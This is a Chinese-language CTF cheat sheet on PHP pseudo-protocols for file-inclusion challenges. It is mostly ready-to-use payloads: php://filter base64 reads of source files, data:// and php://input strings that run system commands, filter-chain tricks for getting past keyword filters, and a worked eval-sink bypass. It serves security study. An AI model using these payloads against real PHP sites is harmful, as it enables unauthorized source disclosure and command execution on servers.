伪协议速查表(PHP)
适用:文件包含(include/require)题、任意文件读取题 记忆口诀:读文件用 filter,执行用 data/input
一、什么是伪协议(一句话原理)
PHP 的 include / file_get_contents 等函数读的不一定是磁盘文件,还可以是"协议流"(由 PHP 生成的内容)。伪协议 = 这些特殊流。
支持伪协议的函数:include / require / include_once / require_once / file_get_contents / readfile / file / fopen
关键配置:
allow_url_include=On:data://和php://input才可用(CTF 环境一般开着)allow_url_fopen:默认 On
二、4 个必记协议
① php://filter —— 读源码(最最常用)
// 读 PHP 文件内容(base64 编码,避免被当作代码执行)
php://filter/read=convert.base64-encode/resource=flag.php
// 变体:省略 read=(等价)
php://filter/convert.base64-encode/resource=flag.php
// 变体:读文件内容原样输出(非 PHP 文件时用)
php://filter/resource=flag.txt
// 变体:多过滤器(进阶,绕过时用)
php://filter/read=convert.iconv.utf-8.utf-16/convert.base64-encode/resource=flag.php
⚠️ base64 输出里可能带
+ / =,在 URL 中会被编码成%2B %2F %3D,看到这种记得 urldecode
② data:// —— 直接执行代码
// 塞一段 PHP 代码执行(<?= 是短标签,等价 <?php echo)
data://text/plain,<?=system('tac flag.php');?>
// 普通文本(配合 include 输出文本内容)
data://text/plain,hello
③ php://input —— POST 内容当代码
// URL 里写:php://input
// POST 请求体里写:<?php system('tac flag.php');?>
④ 其它(了解即可)
php://temp / php://memory 临时/内存流
expect://命令 执行命令(需装 expect 扩展,基本遇不到)
php://filter/string.rot13 过滤器:rot13 加密(绕过过滤时用)
三、场景速查表
| 场景 | 用什么 | 例子 |
|---|---|---|
| include 了 PHP 文件,想看源码 | php://filter + base64 |
?file=php://filter/read=convert.base64-encode/resource=index.php |
| include 可控,想执行代码 | data:// 或 php://input |
?file=data://text/plain,<?=phpinfo();?> |
| 有文件包含但过滤了关键字 | 过滤器链 / 编码绕过 | convert.iconv 链、rot13、二次编码 |
| 读非 PHP 文件(txt/json) | php://filter/resource= 或直接路径 |
?file=flag.txt |
四、考点总结(CTF 怎么考)
- 经典套路:
include $_GET['file']→?file=php://filter/read=convert.base64-encode/resource=flag.php→ base64 解码拿 flag - 配合过滤绕过:过滤了
;→ 用?>当分号(PHP 闭合标签=隐式分号);过滤了关键字 → 把 payload 挪到未过滤的参数(见《文件包含》案例题) - 过滤器链(进阶):
convert.iconv.*多过滤器组合可以构造任意字符,用于绕过更严格的过滤(如只能读部分字符) - php://input 需要 allow_url_include=On,题目开不了的话用
data://代替
五、实战案例(小迪题:分号过滤 + 伪协议)
// 源码:eval($_GET['c']),过滤 flag|system|php|cat|sort|shell|.|echo|;
// 绕过:分号用 ?> 代替,payload 挪到未过滤的 a 参数
?c=include $_GET[a] ?>&a=php://filter/read=convert.base64-encode/resource=flag.php
// 或
?c=include $_GET[a] ?>&a=data://text/plain,<?=system('tac flag.php');?>
两层绕过:
;被过滤 →?>隐式分号收尾system/flag/php/.被过滤 → 全部塞进未过滤的a参数
速查表持续补充,遇到新考法随时更新。